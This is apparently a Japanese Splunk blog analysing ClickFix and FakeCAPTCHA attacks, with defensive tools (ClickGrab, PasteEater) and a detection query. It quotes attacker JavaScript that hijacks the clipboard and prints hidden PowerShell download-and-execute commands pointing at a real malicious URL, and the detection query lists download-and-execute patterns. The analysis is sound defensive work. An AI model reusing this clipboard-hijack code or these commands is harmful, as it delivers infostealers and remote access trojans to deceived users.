ソーシャルエンジニアリング攻撃はこれまでもマルウェアを送り付けてシステムを侵害する最も効果的な手法の1つでしたが、それは今でも変わりません。その中でも、最近急速に勢いを増し、懸念が高まっているのが、「ClickFix」および「FakeCAPTCHA」攻撃と呼ばれるものです。これらの巧妙な攻撃手法では、日常的に接している認証システムに対するユーザーの油断に乗じ、ユーザーのクリップボードを操作して、悪質なペイロードを送り付けます。この間、技術面での脆弱性は1つも利用されていません。
2024年初頭に初めて観測され、2025年中に急激に広がったこれらの攻撃は、稚拙な犯罪行為から、国家を後ろ盾とする攻撃者に利用されるほどの高度な手法へと進化しています。これらの攻撃で最も懸念されるのは、ユーザーに一定程度の操作が求められるにもかかわらず、高い成功率を誇るという点です。とはいえ、この種の攻撃の背後にある仕組みを理解すれば、セキュリティチームは、システムが侵害される前に攻撃を検出して阻止する戦略を策定することができます。
このブログでは、ClickFixおよびFakeCAPTCHA攻撃の仕組みを詳細に分析し、実際に利用されるコード例を調べ、攻撃の展開過程を追跡し、実用的な防御戦略を示します。また、この攻撃に特化した「ClickGrab」と呼ばれるツールもご紹介します。これは、防御側が脅威を分析し、実用的なインテリジェンスを抽出して悪意ある攻撃を阻止するためのセキュリティ態勢を強化できるツールです。これと併せ、WindowsのクリップボードにコピーされたアイテムをPasteEaterを使って捕捉する方法についても説明します。
これらの攻撃の中核をなすのは、ソーシャルエンジニアリングの高度なテクニックです。ソフトウェアの脆弱性を悪用する従来のマルウェア配信メカニズムとは異なり、ClickFixやFakeCAPTCHA攻撃はユーザーの行動を操作する手法に全面的に依存しています。
これらの攻撃が効果を発揮する背景では、以下のような心理的要因が働いています。
(FakeCAPTCHAの例、Splunk 2025)
(FakeCAPTCHAでロボットではないことを確認している、Splunk 2025)
過去にSplunkが分析したFakeCAPTCHA攻撃から、実際のコードスニペットを見てみましょう。
function stageClipboard(commandToRun, verification_id) { const suffix = " # " const ploy = "✅ ''I am not a robot - reCAPTCHA Verification Hash: " const end = "''" const textToCopy = commandToRun + suffix + ploy + verification_id + end setClipboardCopyData(textToCopy); } // Later in the code: const htaPath = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\"";const commandToRun = "powershell " + htaPath;stageClipboard(commandToRun, verification_id);
このコードのメカニズムから、攻撃によってユーザーをだます手口が見て取れます。ユーザーが確認ボタンをクリックするとstageClipboard関数が実行され、PowerShellコマンドがクリップボードにコピーされます。次いで、正規の検証メッセージを装った文字列が表示されます。
実際のコマンド部分は、(powershell -w hidden -c "iwr 'https://example.com/malicious.ps1' | iex")のようになっていて、以下のように動作します。
これをコマンドプロンプトまたは「ファイル名を指定して実行」ダイアログに貼り付ける際、だまされているユーザーには、✅ 「私はロボットではありません - reCAPTCHA Verification Hash: 328459」のような無害に見える部分しか表示されません。しかしその裏では、悪質なコマンドがひそかに実行されます。
SplunkのClickGrabツールを使用してClickFixおよびFakeCAPTCHA攻撃を大規模に分析した結果、これらの攻撃に共通して見られるパターンが特定され、その構造が明らかになりました。これらの共通点を知ることは、防御担当者が悪質なサイトを見分ける助けになるだけでなく、その背後にある攻撃者の手口を理解するための貴重なインサイトとしても有用です。
最近の攻撃の分析から、以下のような特定のドメインが繰り返し参照されていることが分かりました。これらのドメインが見せかけの正当性を演出するのに一役買っています。
ドメイン | 攻撃における目的 |
---|---|
www.google.com | 主に、正規のGoogle reCAPTCHAリソースを参照するために使用されます |
use.fontawesome.com | 正規のアイコンフォントを読み込むことで、正当なものである印象を強化するために使用されます |
cdnjs.cloudflare.com | 偽のインターフェイスにプロフェッショナルな印象を与えることのできる、フロントエンドフレームワークが提供されます |
これらの正規のリソースが悪質なコンポーネントと巧みに混ぜ合わされて、ユーザーが思わずだまされてしまう操作環境が作り出されるのです。
ほぼすべてのFakeCAPTCHA攻撃には、以下のような共通する重要な視覚的要素があります。
偽の認証システムのHTML構造は、驚くほど一貫したパターンに従っています。
html
<div class="recaptcha-box"> <h2>あなたがロボットではないことを確認します</h2> <p>続けるには、あなたがロボットではないことを確認する必要があります。</p> <div class="container m-p"> <div id="checkbox-window" class="checkbox-window m-p block"> <div class="checkbox-container m-p"> <button type="button" id="checkbox" class="checkbox m-p line-normal"></button> </div>
これは、正規のCAPTCHAの実装そっくりに見えるように巧みにデザインされていますが、ユーザーがこれらの要素と何らかのやり取りを行うと実行される悪質なJavaScriptが隠されています。
この攻撃の核心部分となるのが、クリップボードを操作するJavaScriptコードです。Splunkの分析によって、悪意ある攻撃の大半がdocument.execCommand("copy")というコードを使ってクリップボードを乗っ取っていることが明らかになりました。このJavaScript関数は最小限の権限しか必要としませんが、強力な攻撃能力を実装できます。
一貫して観察されたパターンでは、一時的なtextarea要素が使用され、悪質なコンテンツはクリップボードにコピーされる前にいったんここに配置されます。そのプロセスは以下のとおりです。
おそらく、悪質な攻撃の最も特徴的なシグネチャとなるのは、繰り返し使用されるstageClipboard関数でしょう。Splunkは、以下に示す実装とほとんど同じものを12の異なる攻撃で発見しました。
javascript
function stageClipboard(commandToRun, verification_id) { const suffix = " # "; const ploy = "✅ ''私はロボットではありません - reCAPTCHA Verification Hash: "; const end = "''"; const textToCopy = commandToRun + suffix + ploy + verification_id + end; setClipboardCopyData(textToCopy); }
この関数では、悪質なコマンドと無害に見える認証用テキストとを組み合わせ、ユーザーがクリップボードのコンテンツを貼り付ける際には、この確認メッセージのみが表示されるようになっています。
悪質なPowerShellコマンドにも、以下のような特徴的なパターンがあります。
よくあるコマンド構造は以下のとおりです。
powershell
powershell -w hidden -c "iwr 'https://[malicious-domain]/[path].ps1' | iex"
初期のクリップボードの乗っ取りは第1ステップにすぎません。乗っ取り後は、以下のようなさまざまなタイプのマルウェアがデプロイされるのが普通です。
最も一般的なペイロードは情報を盗み取るマルウェアで、閲覧履歴、保存されたパスワード、Cookie、自動入力情報などのブラウザの機密データを収集するように設計されています。このような悪質なプログラムは、ブラウザがユーザーデータを保存する特定のディレクトリを標的にしてファイルへのアクセスや復号化を繰り返し、個人情報や資格情報を不正に入手しようとします。
主なインフォスティーラーは以下のとおりです。
NetSupportなどのRATにより、攻撃者は、侵害されたシステムへの永続的なアクセス権を取得します。これにより、継続的な監視、データ窃取、ネットワーク内のラテラルムーブメントが可能になります。
この種の攻撃でデプロイされる一般的なRATには以下のものがあります。
多くの攻撃では、「ドロッパー」がデプロイされます。ドロッパーはデプロイされた後、以下のような手順で複数のマルウェアファミリーを単一のシステムにインストールします。
最初の1回の感染で最大5つの異なるマルウェアファミリーがデプロイされた攻撃も観察されています。
セキュリティチームが進化する脅威に先回りして対処できるように、SplunkはClickGrabを開発しました。ClickGrabは、ClickFixおよびFakeCAPTCHA攻撃を検出および分析し、その手口を解明することに特化して設計された包括的分析ツールです。
(ClickGrab分析サイト:https://mhaggis.github.io/ClickGrab/、Splunk 2025)
ClickGrabは、PythonとPowerShellをベースにした高性能なツールで、偽CAPTCHA認証システムをソーシャルエンジニアリング攻撃に利用する悪質なWebサイトをセキュリティ調査担当者や防御担当者が特定および分析する際の強力な武器となります。ClickGrabの以下のような機能により、脅威インテリジェンスと現場の防御活動との間にあるギャップを埋めることができます。
このツールには2つのメインモードがあります。
このモードでは、セキュリティ調査担当者がクリップボードのアクティビティを監視しながら、疑わしいWebサイトと安全にやり取りすることができます。以下のような仕組みで動作します。
これは非対話型のモードで、以下の手順によって、ブラウザの操作なしで一括分析を実行できます。
ClickGrabには、巧妙に隠された脅威も特定可能な以下の高度な検出技術が組み込まれています。
ClickGrabの機能は、以下のようなさまざまなインターフェイスから利用できます。
# 分析モードで実行し、FakeCAPTCHA攻撃を見つけます .\clickgrab.ps1 -Analyze -Tags "FakeCaptcha,ClickFix" # 古い攻撃も対象に含め、分析を最大5つのURLに制限します .\clickgrab.ps1 -Analyze -Limit 5 -IgnoreDateCheck # 特定のタグに絞り込み、デバッグ結果を出力します .\clickgrab.ps1 -Analyze -Tags "FakeCaptcha" -Debug
ClickGrabは疑わしいURLを分析すると、以下のような包括的なレポートを生成します。
{ "URL": "https://jessespridecharters.com/v/", "RawHTML": "...", "Base64Strings": [], "URLs": [ "https://use.fontawesome.com/releases/v5.0.0/css/all.css", "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png", "https://www.google.com/intl/en/policies/privacy/", "https://www.google.com/intl/en/policies/terms/", "https://yogasitesdev.wpengine.com/2/15.ps1" ], "PowerShellCommands": [ "powershell -w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\"" ], "IPAddresses": [], "ClipboardCommands": [ "powershell -w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\" # ✅ ''私はロボットではありません - reCAPTCHA Verification Hash: 328459''" ], "SuspiciousKeywords": [ "私はロボットではありません", "Verification Hash", "reCAPTCHA Verification" ], "ClipboardManipulation": [ "document.execCommand(\"copy\")", "navigator.clipboard.writeText" ], "PowerShellDownloads": [ { "FullMatch": "iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex", "URL": "https://yogasitesdev.wpengine.com/2/15.ps1", "Context": "ユーザークリップボードの乗っ取り" } ], "MSHTACommands": [] }
このような詳細なレポートで以下のようなセキュリティ関連作業が可能になります。
(PasteEater、Splunk 2025)
脅威の理解に努めることも非常に重要ですが、防御担当者にはユーザーを守るための実用的なツールも必要です。この課題を解決するために、Will Metcalfが「PasteEater」を開発しました。これは、悪質な可能性のあるコマンドをユーザーが実行してしまう前に、ブラウザプロセスからクリップボードに送られたコンテンツを捕捉して分析することに特化したWindowsアプリケーションです。
PasteEaterは、ブラウザベースのクリップボード操作とWindowsのクリップボードシステムとの間における保護レイヤーとして動作します。具体的な仕組みは以下のとおりです。
PasteEaterがとりわけFakeCAPTCHAおよびClickFix攻撃に有効なのは、以下の特徴があるためです。
システムをどのように防御するかについては、組織ごとにニーズが異なるでしょう。以下にいくつかのアイデアを紹介しますので、組織の攻撃対象領域を縮小するための参考にしてください。
ユーザーをだます攻撃からの防御を担当するセキュリティチームを支援するために、Splunkで使用できる包括的な検出ルールを開発しました。開発にあたっては、FakeCAPTCHA攻撃固有のパターンや挙動を特定できるようにすることに注力しました。また、組織がこれらの攻撃に備えたコンテンツを迅速にデプロイできるように、分析ストーリーも用意しました。
この検出ルールでは、ウィンドウ非表示パラメーターを設定したPowerShell実行、および偽のCAPTCHA認証に固有の文字列を見つけ出して、FakeCAPTCHA/ClickFixの潜在的なクリップボード乗っ取り攻撃を検出できます。この種の攻撃では、ソーシャルエンジニアリングを使ってユーザーをだまし、クリップボードから悪質なPowerShellコマンドを貼り付けさせます。それによって通常は、インフォスティーラーやリモートアクセス型トロイの木馬が配信されます。
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where `process_powershell` AND ( (Processes.process IN ("* -w hidden *", "* -window hidden *", "* -windowstyle hidden *", "*-w h*", "*-wind h*", "*-windowstyle h*") OR Processes.process="*-w h*") AND ( (Processes.process IN ("*robot*", "*captcha-iogo*", "*Robot*", "*captcha-logo*", "*Captcha*", "*captcha-container*", "*captcha*", "*captcha-box*", "*CAPTCHA*", "*CaptchaListeners*")) OR ( (Processes.process IN ("*iwr *", "*Invoke-WebRequest*", "*wget *", "*curl *", "*Net.WebClient*", "*DownloadString*", "*[Convert]::FromBase64String*")) AND (Processes.process IN ("*|iex*", "*|Invoke-Expression*", "* iex *", "* Invoke-Expression *")) ) OR (Processes.process="*FromBase64String*" AND Processes.process="*iex*") ) ) by Processes.action Processes.dest Processes.original_file_name Processes.parent_process Processes.parent_process_exec Processes.parent_process_guid Processes.parent_process_id Processes.parent_process_name Processes.parent_process_path Processes.process Processes.process_exec Processes.process_guid Processes.process_hash Processes.process_id Processes.process_integrity_level Processes.process_name Processes.process_path Processes.user Processes.user_id Processes.vendor_product | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
|
(Splunkクエリーが捕捉したFakeCAPTCHA、Splunk 2025)
ClickFixとFakeCAPTCHA攻撃からは、だましのテクニックと人間心理を巧みに利用しながら巧妙に進化したソーシャルエンジニアリング攻撃の現状をうかがい知ることができます。高度なエクスプロイトチェーンと比べると単純に見えるかもしれませんが、この攻撃の危険性は、どんなセキュリティシステムにも存在する最大の脆弱性、つまり人間の信頼感を利用することにあるのです。
ClickGrabやPasteEaterなどのツール、その他のWindowsネイティブ機能を活用すれば、防御担当者はこの種の脅威について貴重なインサイトを取得し、侵害の痕跡を見つけ出し、効果的な対策を講じることができます。また、防御体制を継続的に改善していくにあたっては、これらの脅威に関する情報の共有が最も強力な手段の一つであることは今後も変わりません。
警戒を怠ってはなりません。そして、これだけは覚えておきましょう。正規の認証システムからコマンドをコピー&ペーストしたり、コマンドプロンプトを起動したりするように求められることは絶対にありません。
Splunkプラットフォームは、データを行動へとつなげる際に立ちはだかる障壁を取り除いて、オブザーバビリティチーム、IT運用チーム、セキュリティチームの能力を引き出し、組織のセキュリティ、レジリエンス(回復力)、イノベーションを強化します。
Splunkは、2003年に設立され、世界の21の地域で事業を展開し、7,500人以上の従業員が働くグローバル企業です。取得した特許数は1,020を超え、あらゆる環境間でデータを共有できるオープンで拡張性の高いプラットフォームを提供しています。Splunkプラットフォームを使用すれば、組織内のすべてのサービス間通信やビジネスプロセスをエンドツーエンドで可視化し、コンテキストに基づいて状況を把握できます。Splunkなら、強力なデータ基盤の構築が可能です。